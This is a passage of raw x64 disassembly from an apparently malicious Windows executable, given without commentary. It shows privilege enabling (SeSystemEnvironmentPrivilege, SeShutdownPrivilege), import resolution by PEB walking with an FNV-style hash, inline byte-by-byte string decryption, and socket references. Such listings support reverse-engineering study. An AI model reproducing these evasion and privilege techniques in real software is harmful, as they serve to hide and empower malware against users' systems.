mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test ebx, ebx
je 0x140016b27
test eax, eax
je 0x140016b27
xor bl, bl
mov qword [rbp + 0x18], 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x18]
mov edx, r14d
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140016595
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
lea r8, [rbp + 0x44]
lea rdx, str.SeSystemEnvironmentPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140014d57
mov dword [rbp + 0x40], esi
mov dword [rbp + 0x4c], edi
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0x40]
xor edx, edx
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne bl
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
lea r8, [rbp + 0x44]
lea rdx, str.SeShutdownPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140014d9d
mov dword [rbp + 0x40], esi
mov dword [rbp + 0x4c], edi
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0x40]
xor edx, edx
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
setne bl
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x14001659f
call fcn.14005c060
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r13
lea rcx, [rbp + 0x28]
call fcn.140010cd0
movabs rdx, 0x3d18c65b51d20edb
lea rcx, [rbp + 0x28]
call fcn.1400115d0
mov qword [0x1401c90c8], rax
lea rcx, [rbp + 0x28]
test rax, rax
jne 0x140014e01
call fcn.1400111d0
nop
lea rcx, [rbp + 0x28]
call fcn.1400111d0
nop
jmp 0x140014f66
movabs rdx, 0xa3e86b9f7a20b19a
call fcn.1400115d0
mov qword [0x1401c90c0], rax
lea rcx, [rbp + 0x28]
test rax, rax
jne 0x140014e35
call fcn.1400111d0
nop
lea rcx, [rbp + 0x28]
call fcn.1400111d0
nop
jmp 0x140014f66
movabs rdx, 0x5afed1193811099
call fcn.1400115d0
mov qword [0x1401c90f0], rax
lea rcx, [rbp + 0x28]
test rax, rax
jne 0x140014e69
call fcn.1400111d0
nop
lea rcx, [rbp + 0x28]
call fcn.1400111d0
nop
jmp 0x140014f66
movabs rdx, 0xae01160ee15e6840
call fcn.1400115d0
mov qword [0x1401c90e0], rax
lea rcx, [rbp + 0x28]
test rax, rax
jne 0x140014e9d
call fcn.1400111d0
nop
lea rcx, [rbp + 0x28]
call fcn.1400111d0
nop
jmp 0x140014f66
movabs rdx, 0xcf7aec834cc5a39d
call fcn.1400115d0
mov qword [0x1401c90d8], rax
lea rcx, [rbp + 0x28]
test rax, rax
jne 0x140014ed1
call fcn.1400111d0
nop
lea rcx, [rbp + 0x28]
call fcn.1400111d0
nop
jmp 0x140014f66
movabs rdx, 0x6bed4a20ab1a3bb2
call fcn.1400115d0
mov qword [0x1401c90e8], rax
lea rcx, [rbp + 0x28]
test rax, rax
jne 0x140014f02
call fcn.1400111d0
nop
lea rcx, [rbp + 0x28]
call fcn.1400111d0
nop
jmp 0x140014f66
movabs rdx, 0x854eca64b17f3f9f
call fcn.1400115d0
mov qword [0x1401c90b0], rax
lea rcx, [rbp + 0x28]
test rax, rax
jne 0x140014f33
call fcn.1400111d0
nop
lea rcx, [rbp + 0x28]
call fcn.1400111d0
nop
jmp 0x140014f66
movabs rdx, 0xa9f0298243afc7d4
call fcn.1400115d0
mov qword [0x1401c90d0], rax
lea rcx, [rbp + 0x28]
test rax, rax
jne 0x140015474
call fcn.1400111d0
nop
lea rcx, [rbp + 0x28]
call fcn.1400111d0
nop
mov cl, 0xe6
mov dl, 0xf8
mov r8b, 0x16
mov r9b, 0xfa
mov r10b, 0xe0
mov r11b, 0xb5
mov bl, 0xeb
mov dil, 0xe5
mov sil, 0xe2
movzx r14d, cl
movzx r15d, r10b
mov r12b, 0x93
xor r13d, r13d
mov qword [rbp - 0x44], r13
movzx eax, cl
and al, 0x94
add al, al
mov dword [rbp - 0x30], 0x88
sub byte [rbp - 0x30], al
add cl, byte [rbp - 0x30]
mov byte [rbp - 0x50], cl
movzx eax, dl
and al, 0x95
add al, al
mov ecx, 0x89
sub cl, al
add dl, cl
mov byte [rbp - 0x4f], dl
movzx eax, r8b
and al, 0x96
add al, al
mov ecx, 0x8a
sub cl, al
add r8b, cl
mov byte [rbp - 0x4e], r8b
movzx eax, r9b
and al, 0x97
add al, al
mov r8d, 0x8b
sub r8b, al
add r9b, r8b
mov byte [rbp - 0x4d], r9b
movzx eax, r10b
and al, 0x98
add al, al
mov r8d, 0x8c
sub r8b, al
add r10b, r8b
mov byte [rbp - 0x4c], r10b
movzx eax, r11b
and al, 0x99
add al, al
mov r8d, 0x8d
sub r8b, al
add r11b, r8b
mov byte [rbp - 0x4b], r11b
movzx eax, bl
and al, 0x9a
add al, al
mov ecx, 0x8e
sub cl, al
add bl, cl
mov byte [rbp - 0x4a], bl
movzx eax, dil
and al, 0x9b
add al, al
mov ecx, 0x8f
sub cl, al
add dil, cl
mov byte [rbp - 0x49], dil
movzx eax, sil
and al, 0x9c
add al, al
mov ecx, 0x90
sub cl, al
add sil, cl
mov byte [rbp - 0x48], sil
movzx eax, r14b
and al, 0x9d
add al, al
mov edx, 0x91
sub dl, al
add r14b, dl
mov byte [rbp - 0x47], r14b
movzx eax, r15b
and al, 0x9e
add al, al
mov edx, 0x92
sub dl, al
add r15b, dl
mov byte [rbp - 0x46], r15b
movzx eax, r12b
and al, 0x9f
add al, al
mov edx, 0x93
sub dl, al
add r12b, dl
mov byte [rbp - 0x45], r12b
movzx eax, r13b
and al, 0xa0
add al, al
mov edx, 0x94
sub dl, al
add r13b, dl
mov byte [rbp - 0x44], r13b
movzx ecx, byte [rbp - 0x43]
movzx eax, cl
and al, 0xa1
add al, al
mov edx, 0x95
sub dl, al
add cl, dl
mov byte [rbp - 0x43], cl
movzx ecx, byte [rbp - 0x42]
movzx eax, cl
and al, 0xa2
add al, al
mov edx, 0x96
sub dl, al
add cl, dl
mov byte [rbp - 0x42], cl
movzx ecx, byte [rbp - 0x41]
movzx eax, cl
and al, 0xa3
add al, al
mov edx, 0x97
sub dl, al
add cl, dl
mov byte [rbp - 0x41], cl
movzx ecx, byte [rbp - 0x40]
movzx eax, cl
and al, 0xa4
add al, al
mov edx, 0x98
sub dl, al
add cl, dl
mov byte [rbp - 0x40], cl
movzx ecx, byte [rbp - 0x3f]
movzx eax, cl
and al, 0xa5
add al, al
mov edx, 0x99
sub dl, al
add cl, dl
mov byte [rbp - 0x3f], cl
movzx ecx, byte [rbp - 0x3e]
movzx eax, cl
and al, 0xa6
add al, al
mov edx, 0x9a
sub dl, al
add cl, dl
mov byte [rbp - 0x3e], cl
movzx ecx, byte [rbp - 0x3d]
movzx eax, cl
and al, 0xa7
add al, al
mov edx, 0x9b
sub dl, al
add cl, dl
mov byte [rbp - 0x3d], cl
mov dword [rsp + 0x70], 0x172b322c
mov dword [rsp + 0x74], 0x1bc80d11
mov dword [rsp + 0x78], 0x1113cd1f
mov dword [rsp + 0x7c], 0x12c0151d
mov dword [rbp - 0x80], 0x101069
mov word [rbp - 0x7c], 0xde09
mov byte [rbp - 0x7a], 0xf8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x79], xmm0
mov qword [rbp - 0x69], rax
mov byte [rbp - 0x61], al
xor r8d, r8d
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rsp + r8 + 0x70]
lea edx, [r8 - 0x63]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x70], dl
movzx ecx, byte [rsp + r8 + 0x71]
lea edx, [r8 - 0x62]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x71], dl
movzx ecx, byte [rsp + r8 + 0x72]
lea edx, [r8 - 0x61]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x72], dl
movzx ecx, byte [rsp + r8 + 0x73]
lea edx, [r8 - 0x60]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x73], dl
movzx ecx, byte [rsp + r8 + 0x74]
lea edx, [r8 - 0x5f]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x74], dl
movzx ecx, byte [rsp + r8 + 0x75]
lea edx, [r8 - 0x5e]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x75], dl
movzx ecx, byte [rsp + r8 + 0x76]
lea edx, [r8 - 0x5d]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x76], dl
movzx ecx, byte [rsp + r8 + 0x77]
lea edx, [r8 - 0x5c]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x77], dl
movzx ecx, byte [rsp + r8 + 0x78]
lea edx, [r8 - 0x5b]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x78], dl
movzx ecx, byte [rsp + r8 + 0x79]
lea edx, [r8 - 0x5a]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x79], dl
movzx ecx, byte [rsp + r8 + 0x7a]
lea edx, [r8 - 0x59]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x7a], dl
movzx ecx, byte [rsp + r8 + 0x7b]
lea edx, [r8 - 0x58]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x7b], dl
movzx ecx, byte [rsp + r8 + 0x7c]
lea edx, [r8 - 0x57]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x7c], dl
movzx edx, byte [rsp + r8 + 0x7d]
lea ecx, [r8 - 0x56]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x7d], dl
movzx edx, byte [rsp + r8 + 0x7e]
lea ecx, [r8 - 0x55]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x7e], dl
movzx edx, byte [rsp + r8 + 0x7f]
lea ecx, [r8 - 0x54]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rsp + r8 + 0x7f], dl
movzx edx, byte [rbp + r8 - 0x80]
lea ecx, [r8 - 0x53]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rbp + r8 - 0x80], dl
movzx edx, byte [rbp + r8 - 0x7f]
lea ecx, [r8 - 0x52]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rbp + r8 - 0x7f], dl
movzx edx, byte [rbp + r8 - 0x7e]
lea ecx, [r8 - 0x51]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rbp + r8 - 0x7e], dl
movzx edx, byte [rbp + r8 - 0x7d]
lea ecx, [r8 - 0x50]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rbp + r8 - 0x7d], dl
movzx edx, byte [rbp + r8 - 0x7c]
lea ecx, [r8 - 0x4f]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rbp + r8 - 0x7c], dl
movzx edx, byte [rbp + r8 - 0x7b]
lea ecx, [r8 - 0x4e]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rbp + r8 - 0x7b], dl
movzx edx, byte [rbp + r8 - 0x7a]
lea ecx, [r8 - 0x4d]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub cl, 0x4b
add dl, cl
mov byte [rbp + r8 - 0x7a], dl
movzx edx, byte [rbp + r8 - 0x79]
lea ecx, [r8 - 0x4c]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub dl, 0x4b
add dl, cl
mov byte [rbp + r8 - 0x79], dl
add r8, 0x18
cmp r8, 0x30
jb 0x1400151a0
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x70]
jmp 0x140017018
call fcn.1400111d0
nop
lea rcx, [rbp + 0x28]
call fcn.1400111d0
nop
movabs rcx, 0xacff7963fae19fa3
call fcn.140011450
test rax, rax
je 0x140015b50
mov dl, 0x86
mov r8b, 0x8c
mov r9b, 0xb6
mov r10b, 0x8a
mov r11b, 0xbc
mov bl, 0xc9
mov dil, 0xbb
mov sil, 0x89
movzx r14d, r10b
movzx r15d, dl
movzx r12d, r8b
mov r13b, reloc.WS2_32.dll_send
xor eax, eax
mov qword [rbp - 0x28], rax
mov qword [rsp + 0x3c], rax
mov dword [rsp + 0x44], eax
mov word [rsp + 0x48], ax
movzx ecx, dl
and cl, 0xda
add cl, cl
mov eax, 0xe4
sub al, cl
add dl, al
mov byte [rsp + 0x30], dl
movzx ecx, r8b
and cl, 0xdb
add cl, cl
mov eax, 0xe5
sub al, cl
add r8b, al
mov byte [rsp + 0x31], r8b
movzx ecx, r9b
and cl, 0xdc
add cl, cl
mov eax, 0xe6
sub al, cl
add r9b, al
mov byte [rsp + 0x32], r9b
movzx ecx, r10b
and cl, 0xdd
add cl, cl
mov eax, 0xe7
sub al, cl
add r10b, al
mov byte [rsp + 0x33], r10b
movzx ecx, r11b
and cl, 0xde
add cl, cl
mov eax, 0xe8
sub al, cl
add r11b, al
mov byte [rsp + 0x34], r11b
movzx ecx, bl
and cl, 0xdf
add cl, cl
mov eax, 0xe9
sub al, cl
add bl, al
mov byte [rsp + 0x35], bl
movzx ecx, dil
and cl, 0xe0
add cl, cl
mov eax, 0xea
sub al, cl
add dil, al
mov byte [rsp + 0x36], dil
movzx ecx, sil
and cl, 0xe1
add cl, cl
mov eax, 0xeb
sub al, cl
add sil, al
mov byte [rsp + 0x37], sil
movzx ecx, r14b
and cl, 0xe2
add cl, cl
mov eax, 0xec
sub al, cl
add r14b, al
mov byte [rsp + 0x38], r14b
movzx ecx, r15b
and cl, 0xe3
add cl, cl
mov eax, 0xed
sub al, cl
add r15b, al
mov byte [rsp + 0x39], r15b
movzx ecx, r12b
and cl, 0xe4
add cl, cl
mov eax, 0xee
sub al, cl
add r12b, al
mov byte [rsp + 0x3a], r12b
movzx ecx, r13b
and cl, 0xe5
add cl, cl
mov eax, 0xef
sub al, cl
add r13b, al
mov byte [rsp + 0x3b], r13b
mov r8, qword [rbp - 0x28]
movzx ecx, r8b
and cl, 0xe6
add cl, cl
mov eax, 0xf0
sub al, cl
lea edx, [rax + r8]
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0xe7
add cl, cl
mov eax, 0xf1
sub al, cl
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx ecx, dl
and cl, 0xe8
add cl, cl
mov eax, 0xf2
sub al, cl
add dl, al
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0xe9
add cl, cl
mov eax, 0xf3
sub al, cl
add dl, al
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx ecx, dl
and cl, 0xea
add cl, cl
mov eax, 0xf4
sub al, cl
add dl, al
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0xeb
add cl, cl
mov eax, 0xf5
sub al, cl
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx ecx, dl
and cl, 0xec
add cl, cl
mov eax, 0xf6
sub al, cl
add dl, al
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0xed
add cl, cl
mov eax, 0xf7
sub al, cl
add dl, al
mov byte [rsp + 0x43], dl
movzx eax, r8b
and al, 0xee
add al, al
mov edx, 0xf8
sub dl, al
lea ecx, [rdx + r8]
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0xef
add al, al
mov edx, 0xf9
sub dl, al
add cl, dl
mov byte [rsp + 0x45], cl
movzx ecx, byte [rsp + 0x46]
movzx eax, cl
and al, 0xf0
add al, al
mov edx, 0xfa
sub dl, al
add cl, dl
mov byte [rsp + 0x46], cl
movzx ecx, byte [rsp + 0x47]
movzx eax, cl
and al, 0xf1
add al, al
mov edx, 0xfb
sub dl, al
add cl, dl
mov byte [rsp + 0x47], cl
movzx eax, r8b
and al, 0xf2
add al, al
mov ecx, 0xfc
sub cl, al
add r8b, cl
mov byte [rsp + 0x48], r8b
movzx ecx, byte [rsp + 0x49]
movzx eax, cl
and al, 0xf3
add al, al
mov edx, 0xfd
sub dl, al
add cl, dl
mov byte [rsp + 0x49], cl
mov dword [rsp + 0x70], 0x19263213
mov dword [rsp + 0x74], 0x19c81d1b
mov dword [rsp + 0x78], 0x6acc1f65
mov dword [rsp + 0x7c], 0x1c1c1e1a
mov dword [rbp - 0x80], 0x3e233ec6
mov dword [rbp - 0x7c], 0xdf0d06da
mov dword [rbp - 0x78], 0x10e7608
mov dword [rbp - 0x74], 0xd009030d
mov byte [rbp - 0x70], 0xf6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x6f], xmm0
mov qword [rbp - 0x5f], rax
mov dword [rbp - 0x57], eax
mov byte [rbp - 0x53], al
xor r8d, r8d
nop dword [rax]
movzx edx, byte [rsp + r8 + 0x70]
lea ecx, [r8 + 0x1d]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x70], dl
movzx edx, byte [rsp + r8 + 0x71]
lea ecx, [r8 + 0x1e]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x71], dl
movzx edx, byte [rsp + r8 + 0x72]
lea ecx, [r8 + 0x1f]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x72], dl
movzx edx, byte [rsp + r8 + 0x73]
lea ecx, [r8 + 0x20]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x73], dl
movzx edx, byte [rsp + r8 + 0x74]
lea ecx, [r8 + 0x21]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x74], dl
movzx edx, byte [rsp + r8 + 0x75]
lea ecx, [r8 + 0x22]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x75], dl
movzx edx, byte [rsp + r8 + 0x76]
lea ecx, [r8 + 0x23]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x76], dl
movzx edx, byte [rsp + r8 + 0x77]
lea ecx, [r8 + 0x24]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x77], dl
movzx edx, byte [rsp + r8 + 0x78]
lea ecx, [r8 + 0x25]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x78], dl
movzx edx, byte [rsp + r8 + 0x79]
lea ecx, [r8 + 0x26]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x79], dl
movzx edx, byte [rsp + r8 + 0x7a]
lea ecx, [r8 + 0x27]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x7a], dl
movzx edx, byte [rsp + r8 + 0x7b]
lea ecx, [r8 + 0x28]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x7b], dl
movzx edx, byte [rsp + r8 + 0x7c]
lea ecx, [r8 + 0x29]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x7c], dl
movzx edx, byte [rsp + r8 + 0x7d]
lea ecx, [r8 + 0x2a]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x7d], dl
movzx edx, byte [rsp + r8 + 0x7e]
lea ecx, [r8 + 0x2b]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x7e], dl
movzx edx, byte [rsp + r8 + 0x7f]
lea ecx, [r8 + 0x2c]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rsp + r8 + 0x7f], dl
movzx edx, byte [rbp + r8 - 0x80]
lea ecx, [r8 + 0x2d]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x80], dl
movzx edx, byte [rbp + r8 - 0x7f]
lea ecx, [r8 + 0x2e]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x7f], dl
movzx edx, byte [rbp + r8 - 0x7e]
lea ecx, [r8 + 0x2f]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x7e], dl
movzx edx, byte [rbp + r8 - 0x7d]
lea ecx, [r8 + 0x30]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x7d], dl
movzx edx, byte [rbp + r8 - 0x7c]
lea ecx, [r8 + 0x31]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x7c], dl
movzx edx, byte [rbp + r8 - 0x7b]
lea ecx, [r8 + 0x32]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x7b], dl
movzx edx, byte [rbp + r8 - 0x7a]
lea ecx, [r8 + 0x33]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x7a], dl
movzx edx, byte [rbp + r8 - 0x79]
lea ecx, [r8 + 0x34]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x79], dl
movzx edx, byte [rbp + r8 - 0x78]
lea ecx, [r8 + 0x35]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x78], dl
movzx edx, byte [rbp + r8 - 0x77]
lea ecx, [r8 + 0x36]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x77], dl
movzx edx, byte [rbp + r8 - 0x76]
lea ecx, [r8 + 0x37]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x76], dl
movzx edx, byte [rbp + r8 - 0x75]
lea ecx, [r8 + 0x38]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x75], dl
movzx edx, byte [rbp + r8 - 0x74]
lea ecx, [r8 + 0x39]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x74], dl
movzx edx, byte [rbp + r8 - 0x73]
lea ecx, [r8 + 0x3a]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x73], dl
movzx edx, byte [rbp + r8 - 0x72]
lea ecx, [r8 + 0x3b]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add dl, 0x35
add dl, cl
mov byte [rbp + r8 - 0x72], dl
add r8, 0x1f
cmp r8, 0x3e
jb 0x1400157b0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x70]
jmp 0x140017018
mov r14d, r13d
mov esi, 0x67f9c768
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
cmp qword [rax + 0x30], 0
je 0x140015d6a
cmp word [rax + 0x48], 0
je 0x140015d6a
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r14d, r14d
je 0x140015bf3
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x159ce512
cmp r9, r11
je 0x140015bea
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140015bc0
cmp r10d, r14d
jne 0x140015d6a
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r12, rdx
shr r12, 0x20
mov edi, edx
add rdi, r11
cmp rdi, r11
je 0x140015d6a
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140015d6a
mov ecx, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
nop
dec ebx
lea rcx, [rcx + rbx*2]
movzx edx, word [rcx + r11]
lea rcx, [r9 + rdx*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov qword [rbp + 0x20], rdx
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
cmp rdx, rdi
jbe 0x140015c68
lea rcx, [rdi + r12]
cmp rdx, rcx
jae 0x140015c68
mov r15b, 1
jmp 0x140015c6b
xor r15b, r15b
mov r10d, 0x159ce512
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140015caf
nop dword [rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140015c80
mov rdx, qword [rbp + 0x20]
cmp r10d, esi
je 0x140015ccf
test ebx, ebx
mov ecx, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
jne 0x140015c30
mov rax, qword [rax]
jmp 0x140015b70
test r15b, r15b
je 0x140015d72
mov esi, 0x159ce512
mov r14d, esi
movzx r8d, byte [rdx]
cmp r8b, 0x2e
je 0x140015d1b
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
inc rdx
movzx r8d, byte [rdx]
cmp r8b, 0x2e
jne 0x140015cf0
inc rdx
movzx r8d, byte [rdx]
test r8b, r8b
je 0x140015d59
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jne 0x140015d30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140015b70
mov cl, 0x5c
mov dl, 0x5e
mov r8b, 0x19
mov r9b, 0x18
mov r10b, reloc.WS2_32.dll_setsockopt
mov r11b, 0x67
mov bl, 0x67
mov bl, 0xdb
mov dil, 0x1a
mov sil, 0x60
mov r14b, WSAGetLastError
mov r15b, 0xfa
xor r12d, r12d
mov qword [rbp + 0x33], r12
movzx eax, cl
and al, 0x1e
sub byte [rbp - 0x30], al
mov eax, dword [rbp - 0x30]
add al, al
add cl, al
mov byte [rbp + 0x28], cl
movzx ecx, dl
and cl, 0x1f
add cl, cl
mov eax, 0x4d
sub al, cl
add dl, al
mov byte [rbp + 0x29], dl
movzx eax, r8b
and al, 0x20
mov ecx, 0x27
sub cl, al
add cl, cl
add r8b, cl
mov byte [rbp + 0x2a], r8b
movzx ecx, r9b
and cl, 0x21
add cl, cl
mov eax, 0x4f
sub al, cl
add r9b, al
mov byte [rbp + 0x2b], r9b
movzx eax, r10b
and al, 0x22
mov ecx, 0x28
sub cl, al
add cl, cl
add r10b, cl
mov byte [rbp + 0x2c], r10b
movzx ecx, r11b
and cl, 0x23
add cl, cl
mov eax, 0x51
sub al, cl
add r11b, al
mov byte [rbp + 0x2d], r11b
